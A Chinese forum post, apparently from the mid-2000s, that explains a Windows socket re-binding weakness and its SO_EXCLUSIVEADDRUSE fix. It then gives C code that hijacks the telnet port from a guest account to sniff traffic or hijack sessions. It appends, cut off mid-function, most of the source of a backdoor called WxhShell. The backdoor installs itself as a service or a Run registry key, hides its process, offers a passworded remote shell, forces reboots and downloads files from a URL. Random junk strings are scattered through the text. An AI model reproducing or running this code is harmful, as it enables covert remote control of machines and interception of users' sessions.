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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MO]zf3f!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .Sm 8t$  
x}C$/7^  
  saddr.sin_family = AF_INET; (>Sy,  
 LWo)x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JpQV7}$  
lfoPFJ Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hzV%QDUpe  
Mt4`~`6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wC1) \ld  
}Ej^"T:H_;  
  这意味着什么?意味着可以进行如下的攻击: @ /e{-Q  
IFSIQ q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7vqE @;:dt  
yr zyus  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dmtsu2o  
=+e;BYD#!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9dg+@FS}=  
"t{D5{q|[k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p=Q o92 NH  
2$Z4 >!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZB}zT9JaE  
(Q"s;g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3qfQlqJ&3  
7n#Mh-vq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k DKfJp&a  
]{-ib:f~  
  #include Si;eBPFH  
  #include kKQD$g.z6  
  #include `C:J{`  
  #include    )q7!CG'oY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZYl*-i&~?  
  int main() N8wA">u  
  { o`jVd,aj  
  WORD wVersionRequested; n%dh|j2u  
  DWORD ret; *xKY>E+  
  WSADATA wsaData; f <DqA/$  
  BOOL val; :JxuaM8  
  SOCKADDR_IN saddr; }e1]Ib!  
  SOCKADDR_IN scaddr; Oi!uJofW  
  int err; GQkI7C  
  SOCKET s; ()$tP3 o  
  SOCKET sc; %Y].i/".;P  
  int caddsize; =sXk,I;  
  HANDLE mt; e=6C0fr  
  DWORD tid;   uQkFFWS  
  wVersionRequested = MAKEWORD( 2, 2 ); 0Q/BTT%X  
  err = WSAStartup( wVersionRequested, &wsaData ); S#D6mg$Z,  
  if ( err != 0 ) { JOq&(AZe  
  printf("error!WSAStartup failed!\n"); dqL)q3  
  return -1; grCz@i  
  } yzCamm4~0  
  saddr.sin_family = AF_INET; cZ/VMQEr  
   ;#2yF34gv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ma2-66M~j  
p\|*ff0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LwCf}4u"  
  saddr.sin_port = htons(23); b;e*`f8T3c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _K>YB>W}7  
  { cr{f*U6`  
  printf("error!socket failed!\n"); ^X?3e1om  
  return -1; c(S66lp  
  } >x1?t  
  val = TRUE; P_c9v/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .ktyA+r8v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SnW>`  
  { z`@|v~i0`  
  printf("error!setsockopt failed!\n"); GA)t!Xg^  
  return -1; #.W<[KZf  
  } >^KO5N-:4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Rp"" &0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pj'[ H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +,Z Q( ZW  
n|I5ylt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $> PV6  
  { h.h\)>DM@  
  ret=GetLastError(); | Xk>a7X  
  printf("error!bind failed!\n"); U> 1voc  
  return -1; xrl!$xE GX  
  } b\Gw|?Rv  
  listen(s,2); ],ISWb  
  while(1) KdtQJ:_`k  
  { +(| ,Ke  
  caddsize = sizeof(scaddr); lK3Z}e*eXQ  
  //接受连接请求 v|u[BmA)*k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m&8'O\$  
  if(sc!=INVALID_SOCKET) 3At%TA:  
  { %FO# j6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Tf?|*P  
  if(mt==NULL) LYyOcb[x  
  { &,~Oi(SX5  
  printf("Thread Creat Failed!\n"); aRF}F E,u  
  break; ]eZrb%B .  
  } R<x~KJ11c  
  } z 7g=L@   
  CloseHandle(mt); =?g B@vS  
  } Qc]Ki3ls  
  closesocket(s); 6` @4i'.  
  WSACleanup(); %oE3q>S$en  
  return 0; r5g:#mF"  
  }   #Rcb iV*M  
  DWORD WINAPI ClientThread(LPVOID lpParam) N3g\X  
  { zU,Qph ,<  
  SOCKET ss = (SOCKET)lpParam; K.K=\ Y2  
  SOCKET sc; $4a;R I  
  unsigned char buf[4096]; DNl '}K1W  
  SOCKADDR_IN saddr; o& "nF+,  
  long num; e2l!L*[g  
  DWORD val; xRM)f93@  
  DWORD ret; g/6>>p`J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a6i%7Om  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z 8\z`#g!  
  saddr.sin_family = AF_INET; GY,HEe]2r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &!5S'J %  
  saddr.sin_port = htons(23); Sr?2~R0&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HTU?hbG(  
  { ev;R; 0<  
  printf("error!socket failed!\n"); (^).$g5Hg  
  return -1; [b6P }DW  
  } WvJidz?5  
  val = 100; ;HbAk`\1A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^6(Nu|6\@  
  { @is!VzE  
  ret = GetLastError(); TO~Z6NA0  
  return -1; >")<pUQ  
  } NhYce>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U^.kp#x#  
  { 6<h ==I   
  ret = GetLastError(); n6]8W^g  
  return -1; MYVgi{  
  } =7212('F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HSsG0&'-Y  
  { Q&A^(z}  
  printf("error!socket connect failed!\n"); ic(`Ev  
  closesocket(sc); (!B1} 5"  
  closesocket(ss); nkn4VA?"  
  return -1; u#"L gG.X  
  } &nyJ :?  
  while(1) xaG( 3  
  { \T]'d@Wyd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *kE<7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q=~ *oYR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L|H:&|F  
  num = recv(ss,buf,4096,0); lqoJ2JMy  
  if(num>0) 6./3w&D;  
  send(sc,buf,num,0); qzt.k^'-^  
  else if(num==0) lOuO~`,J  
  break; E +!A0!1  
  num = recv(sc,buf,4096,0); _8I\!  
  if(num>0) u?B9zt%$-m  
  send(ss,buf,num,0); /l&$B  
  else if(num==0) o1zKns?  
  break; mW&hUP Rx  
  } z[~ph/^  
  closesocket(ss); @n Oj6b  
  closesocket(sc); vlS+UFH0  
  return 0 ; O4.`N?Xq  
  } 9`X}G`  
b>Em~NMu_  
:[C"}m R1  
========================================================== o!-kwtw`l  
V>Vu)7  
下边附上一个代码,,WXhSHELL GI _.[  
]w;!x7bU(  
========================================================== g/f^|:  
R Q2DTQ-$  
#include "stdafx.h" 3JJEj1O  
@zGz8IF  
#include <stdio.h> =)mA.j}E2  
#include <string.h> O=E?m=FR"  
#include <windows.h> ,z0~VS:g8  
#include <winsock2.h> 'YTSakNJ}  
#include <winsvc.h> mx3p/p  
#include <urlmon.h> ZD;1{  
/c:78@  
#pragma comment (lib, "Ws2_32.lib") J=sj+:GS  
#pragma comment (lib, "urlmon.lib") _ ,~D]JYE  
mo()l8  
#define MAX_USER   100 // 最大客户端连接数 /fDXO;tN  
#define BUF_SOCK   200 // sock buffer f~?4  
#define KEY_BUFF   255 // 输入 buffer ')#!M\1,HQ  
xh`4s  
#define REBOOT     0   // 重启 nc/F@HCB  
#define SHUTDOWN   1   // 关机 V krjs0  
gHmy?+)  
#define DEF_PORT   5000 // 监听端口 (29BS(|!  
F+ Q(^Nk  
#define REG_LEN     16   // 注册表键长度 thK4@C|X4  
#define SVC_LEN     80   // NT服务名长度 fx3oA}  
uoi~JF  
// 从dll定义API * ,#SwZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =Hf`yH\#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M>_ U9g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pof]9qE-y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }LTyXo  
T7qE 2  
// wxhshell配置信息 O'[r,|Q{  
struct WSCFG { GA+#'R  
  int ws_port;         // 监听端口 8RaRXnJ  
  char ws_passstr[REG_LEN]; // 口令 _A]=45cn~  
  int ws_autoins;       // 安装标记, 1=yes 0=no s9F{UN3  
  char ws_regname[REG_LEN]; // 注册表键名 9L7jYy=A#  
  char ws_svcname[REG_LEN]; // 服务名 ~A$y-Dt'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _y5J]Yu`j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  O3~7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Xn=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f{+n$ Cos  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~U$ioQy<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wT@{=s,  
E@[ZwTnJ  
}; wGhy"1g#  
L)yc_ d5  
// default Wxhshell configuration @tzL4hy%^j  
struct WSCFG wscfg={DEF_PORT, ={[9kR i  
    "xuhuanlingzhe", Ce`#J6lT  
    1, !&#5 *  
    "Wxhshell", V<ExR@|}.%  
    "Wxhshell", Gk-49|qIV  
            "WxhShell Service", y)uxj-G  
    "Wrsky Windows CmdShell Service", hA:RVeS{  
    "Please Input Your Password: ", O0RV>Ml'&  
  1, 2qpUUo f  
  "http://www.wrsky.com/wxhshell.exe", M T]2n{e  
  "Wxhshell.exe" 4D=^24f`0  
    }; Aw"Y_S8.  
v4Mn@e_#c  
// 消息定义模块 aaRc?b'/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uRCZGg&V?#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4#Cm5xAt6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  4"~F  
char *msg_ws_ext="\n\rExit."; JrNqS[c/  
char *msg_ws_end="\n\rQuit."; pKNrEq  
char *msg_ws_boot="\n\rReboot..."; x.kIzI5  
char *msg_ws_poff="\n\rShutdown..."; PQvpJFpb~h  
char *msg_ws_down="\n\rSave to "; SbK6o:[  
JxmFUheLt  
char *msg_ws_err="\n\rErr!"; "(+p1  
char *msg_ws_ok="\n\rOK!"; IrMxdF~c  
D*}_L   
char ExeFile[MAX_PATH]; 7 V3r!y  
int nUser = 0; lOEB ,/P  
HANDLE handles[MAX_USER]; }UX0 eI4  
int OsIsNt; |f{(MMlj  
u{8:VX  
SERVICE_STATUS       serviceStatus; Bv{DZ?{s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gy6PS{yY6t  
&ieb6@RO`Q  
// 函数声明 H7CWAQPfj  
int Install(void); e+O502]  
int Uninstall(void); :R1F\FT*  
int DownloadFile(char *sURL, SOCKET wsh); 12LGWhDp  
int Boot(int flag); nxhn|v  
void HideProc(void); ,~*pPhQ8m  
int GetOsVer(void); > JP}OS  
int Wxhshell(SOCKET wsl); "1z#6vw5a  
void TalkWithClient(void *cs); lQKq{WLFx.  
int CmdShell(SOCKET sock); Lhmb= @  
int StartFromService(void); h[>Puoz  
int StartWxhshell(LPSTR lpCmdLine); cxz\1Vphd  
 RxO !h8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QE4TvnhK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )QAS7w#k  
l|sC\;S  
// 数据结构和表定义 1<F6{?,z  
SERVICE_TABLE_ENTRY DispatchTable[] = ypLt6(1j%  
{ ZW%;"5uVm)  
{wscfg.ws_svcname, NTServiceMain}, |"aop|  
{NULL, NULL} Ef\&3TcQ  
}; "@(Sw>*o  
\\Te\l|L  
// 自我安装 -(JBgM"  
int Install(void) g27)$0&0  
{ Ci$?Hm9n  
  char svExeFile[MAX_PATH]; bsv!z\}  
  HKEY key; H:]'r5sw  
  strcpy(svExeFile,ExeFile); fb?YDM  
'cPE7uNT  
// 如果是win9x系统,修改注册表设为自启动 !EOYqD  
if(!OsIsNt) { @&f~#Xe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-v^eMWX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IN?6~O p  
  RegCloseKey(key); |Ng}ZLBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RC~C}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CZDWEM}   
  RegCloseKey(key); b^R_8x  
  return 0; :0'vzM  
    } #tN!^LLi  
  } aSt:G*a"  
} %*];XpAE  
else { CPci 'SO  
g_;4@jwTP"  
// 如果是NT以上系统,安装为系统服务 :vJ1Fo!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #b>D^=NV>)  
if (schSCManager!=0) p-kug]qX  
{ D]?yGI_  
  SC_HANDLE schService = CreateService F*p@hl  
  ( mWTV)z57  
  schSCManager, I78Q8W(5  
  wscfg.ws_svcname, 1otE:bi  
  wscfg.ws_svcdisp, <2t%<<%  
  SERVICE_ALL_ACCESS, \pVNJ y$`<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f0"_ {\  
  SERVICE_AUTO_START, K;*B$2Z#k  
  SERVICE_ERROR_NORMAL, TT^L) d  
  svExeFile, KJi8LM  
  NULL, TEQs9-Uy  
  NULL, N) '|l0x0  
  NULL, b8&z~'ieR  
  NULL, ?/}-&A"  
  NULL "{x+ \Z\  
  ); @*=eqO  
  if (schService!=0) 8+Abw)]s  
  { 46D _K  
  CloseServiceHandle(schService); =)f5JwZPG  
  CloseServiceHandle(schSCManager); #Q/xQ`+|.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yX%NFXD  
  strcat(svExeFile,wscfg.ws_svcname); Oid;s!-S6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l0lvca=;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /)<Xoa  
  RegCloseKey(key); ~(}n d  
  return 0; G]T&{3g-.  
    } l*b0uF  
  } IHwoG(A~<  
  CloseServiceHandle(schSCManager); q0KGI/5s4+  
} bKQ_{cR  
} F7\nG}#s  
7_`_iymR  
return 1; C 4K"eX,K  
} V-ONC  
;^ff35EE8  
// 自我卸载 $GQ{Ai:VwF  
int Uninstall(void) / >O.U?  
{ o3Z<tI8-V  
  HKEY key; :czUOZ_  
"c*#ZP  
if(!OsIsNt) { ]%Lk#BA@A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KqvM5$3  
  RegDeleteValue(key,wscfg.ws_regname); ^%NjdZuDO  
  RegCloseKey(key); [<.dOe7|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8gJg7RxL  
  RegDeleteValue(key,wscfg.ws_regname); LCMn9I  
  RegCloseKey(key); p4@0Dz`Q  
  return 0; ;CDa*(e  
  } +HEL^  
} ,'byJlw_pv  
} zcOG[-  
else { G \|P3j  
&H/3@A3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q+p9^_r  
if (schSCManager!=0) 3u oIYY  
{ :?:R5_Nd=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -SF50.[  
  if (schService!=0) 3XhLn/@  
  { V3$zlzSm,  
  if(DeleteService(schService)!=0) { ~Gh9m ]b  
  CloseServiceHandle(schService); wUH:l  
  CloseServiceHandle(schSCManager); @6V kNe9  
  return 0; X4/3vY  
  } Kza5_ 7p`L  
  CloseServiceHandle(schService); _ uZVlu@  
  } {cmV{ 4Yx  
  CloseServiceHandle(schSCManager); \Wb3JQ)  
} {CQI*\O  
} 3^]Kd  
smPZ%P}P+c  
return 1; ZmS ]4WM<  
} bq z*90  
K Vnz{cx`  
// 从指定url下载文件 -;o0) DwZ  
int DownloadFile(char *sURL, SOCKET wsh) -932[+  
{ (S8hr,%n  
  HRESULT hr; mV|Z5= f  
char seps[]= "/"; ~Hvf"bvK|  
char *token; K QCF "  
char *file; &X)^G#  
char myURL[MAX_PATH]; +K48c,gt?  
char myFILE[MAX_PATH]; BP=<TRp .  
.2SD)<}(9  
strcpy(myURL,sURL); aPHNX)  
  token=strtok(myURL,seps); sM@1Qyv&0  
  while(token!=NULL) te+r.(p  
  { gP?.io 9Oi  
    file=token; "(yw(/  
  token=strtok(NULL,seps); p5#UH  
  } E2Ec`o  
v dPb-z4  
GetCurrentDirectory(MAX_PATH,myFILE); s}?QA cC  
strcat(myFILE, "\\"); 8[x{]l[  
strcat(myFILE, file); rGQY  
  send(wsh,myFILE,strlen(myFILE),0); nxs'qX(D  
send(wsh,"...",3,0); ms#|Y l1/|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DYTC2  
  if(hr==S_OK) e84O 6K6o  
return 0; ^F87gow%`B  
else G`z=qaj  
return 1; ' [%?j?2r  
( c +M"s  
} Iy@6cd,)S  
)@6iQ  
// 系统电源模块 w5q'M  
int Boot(int flag) FLQ>,=O  
{ 4^k+wQU  
  HANDLE hToken; a>eg H og  
  TOKEN_PRIVILEGES tkp; )b-KF}]d  
gCaxZ~o  
  if(OsIsNt) { ~y1k2n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?:#$btmn?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M8|kmF\B  
    tkp.PrivilegeCount = 1; 6o~CX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a[RqK#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A:V/i:IZfR  
if(flag==REBOOT) { -qpe;=g&f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .<Jq8J  
  return 0; U)D}J_Zi(  
} +,J!xy+~,  
else { 0(+dXzcwM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9C: V i  
  return 0; j!K{1s[.y  
} EB8<!c ?  
  } ~Z5Wwp]a  
  else { TTo5"r9I 8  
if(flag==REBOOT) { [ip}f4K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TchByN6oN<  
  return 0; |qtZb}"|  
} J+YoAf`hi  
else { D3x W?$Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rXVR X#Lh  
  return 0; -!X\xA/KN  
} Ee'wsL  
} %[fZ@!B  
?A~a}bFZ  
return 1; .}3K9.hkr  
} z/|tsVK  
sLW e \o  
// win9x进程隐藏模块 :7pt=IA  
void HideProc(void) (ljoD[kZ  
{ e4 -7&8N+  
@"0n8y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7QHrb'c  
  if ( hKernel != NULL ) VX e7b  
  { qnnP*15`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P*kC>lvSv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7 '{wl,u  
    FreeLibrary(hKernel); 5>&C.+A 9  
  } ^']*UD;  
td|O#R  
return; XO}v8nWV  
} w s7LDY&(  
w>&g'  
// 获取操作系统版本 RNb"O{3  
int GetOsVer(void) =p&uQ6.i+  
{ IvM>z03  
  OSVERSIONINFO winfo; !Z%pdqo`.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 47^7S=  
  GetVersionEx(&winfo); >{=~''d,w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P;ovPyoO  
  return 1; ykNPKzW:  
  else @vvGhJ1m`  
  return 0; 89J7hnJC  
} <Y^)/ s  
o<7'(Pz  
// 客户端句柄模块 d? 4-"9Y  
int Wxhshell(SOCKET wsl) Fy^MI*}BZ  
{ YBQ{/"v%|  
  SOCKET wsh; ?$%2\"wX~7  
  struct sockaddr_in client; U Kf0cU  
  DWORD myID; Ia-nA|LBxI  
z&Lcl{<MA  
  while(nUser<MAX_USER) >{k0N@_  
{ F"t.ND  
  int nSize=sizeof(client); U46Z~B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sF p% T4j  
  if(wsh==INVALID_SOCKET) return 1; a/U4pSug  
{@>6E8)H5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SaA-Krn  
if(handles[nUser]==0) |\SwZTr  
  closesocket(wsh); lM[FT=M  
else 1^y^b{  
  nUser++; )%~<EJ*&Z  
  } myDcr|j-a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8J8@0  
N@\`DO  
  return 0; b!z kQ?h  
} >e QFY^d5  
n!%'%%o2v  
// 关闭 socket X!f` !tZ:{  
void CloseIt(SOCKET wsh) B-[qS;PY%  
{ &#<>fT_  
closesocket(wsh); i>z {QE  
nUser--; ^MUvd  
ExitThread(0); =X=m_\=~@  
} kTm>`.kKJ=  
}Bn`0;]  
// 客户端请求句柄 GqD_6cdh  
void TalkWithClient(void *cs) 4! DXj0^  
{ 6_O3/   
*."50o=T  
  SOCKET wsh=(SOCKET)cs; !Q5NV4gd+  
  char pwd[SVC_LEN]; n^%",*8gD*  
  char cmd[KEY_BUFF]; _:VIlg U  
char chr[1]; }vt>}%%  
int i,j; YF<U'EVU-  
~3qt<"  
  while (nUser < MAX_USER) { sjwD x0(7=  
|Q*{yvfEo  
if(wscfg.ws_passstr) { |]j2T 8_=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CG[04y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wak'L5GQE  
  //ZeroMemory(pwd,KEY_BUFF); ^THyohK  
      i=0; `*--vSi  
  while(i<SVC_LEN) { I.u[9CI7HU  
NnqAr ,  
  // 设置超时 Ae>:i7.V  
  fd_set FdRead; x^/453Lk  
  struct timeval TimeOut; ?m dGMf)  
  FD_ZERO(&FdRead); 5ii:93Hlj  
  FD_SET(wsh,&FdRead); '*n2<y  
  TimeOut.tv_sec=8; )jed@?  
  TimeOut.tv_usec=0; 3Jw}MFFV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mI-9=6T_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HHg[6aw  
< /9@RO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jT1^oXn@  
  pwd=chr[0]; BHJS.o*j~  
  if(chr[0]==0xd || chr[0]==0xa) { e\' =#Hw  
  pwd=0; ^ /7L(  
  break; ~?uch8H  
  } m-XS_5x\  
  i++; 0M|Jvw'n|  
    } )P #MUC  
eWTbHF  
  // 如果是非法用户,关闭 socket X"O^4MnvI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q7XlFjzcm  
} {V5eHn9/Q'  
5FwVR3,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FP9FE `x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); btWvoKO*  
do=s=&T  
while(1) { HiT j-O  
> PONu]^  
  ZeroMemory(cmd,KEY_BUFF); esK0H<]  
Ygfv?  
      // 自动支持客户端 telnet标准   +~eybm;  
  j=0; #w&N) c>  
  while(j<KEY_BUFF) { %S]g8O[}nl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wv&#lM(  
  cmd[j]=chr[0]; q ,*([yX  
  if(chr[0]==0xa || chr[0]==0xd) { }WEF *4B!  
  cmd[j]=0; c<]~q1  
  break; S)vNWBO  
  } =SLCG.  
  j++; hO0g3^  
    } Kld#C51X f  
S F&EVRv  
  // 下载文件 Kzrt%DA  
  if(strstr(cmd,"http://")) { L5A?9zum/!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rg~F[j$N  
  if(DownloadFile(cmd,wsh)) pDM95.6   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DE" Y(;S  
  else ?`U=Ps  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j=n<s</V  
  } aF%V  
  else { f'%Pkk  
iBaz1pDc  
    switch(cmd[0]) { &20}64eW%  
  j|2s./!Qg  
  // 帮助 &M*f4PeXb  
  case '?': { ^Bu55q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m$}Jw<.W  
    break; \cW9"e'  
  } ) |j?aVqZ  
  // 安装 %3mh'Z -[f  
  case 'i': { iuS*Vw  
    if(Install()) )T!3du:M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&oc/$&|[  
    else POt 8G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vbSycZ2M7  
    break; o2W^!#]=  
    } ! ,&{1p  
  // 卸载 =uD^#AX  
  case 'r': { ?<6yKxn  
    if(Uninstall()) 0t(js_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $&jte_hv  
    else p@iU9K\,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^]ig*oS\`  
    break; "]ZDs^7  
    } :FX|9h  
  // 显示 wxhshell 所在路径 t(:w):zE  
  case 'p': { ;T*o RS  
    char svExeFile[MAX_PATH]; vz3#.a~2  
    strcpy(svExeFile,"\n\r"); ?yy,3:  
      strcat(svExeFile,ExeFile); j6DI$tV~  
        send(wsh,svExeFile,strlen(svExeFile),0); p^*A&7d:P  
    break; Q$8&V}jVW  
    } 1AAOg+Y@U"  
  // 重启 Sgq?r-Q.  
  case 'b': { sglH=0MP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i:\|G^h  
    if(Boot(REBOOT)) aKC,{}f$m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }B@44HdY  
    else { 2i)vT)~  
    closesocket(wsh); h@%a+6b?  
    ExitThread(0); (qdvvu#E  
    } LGT?/ gup  
    break; 'ocPG.PaU  
    } = ow=3Ku  
  // 关机 vXT>Dc2\!  
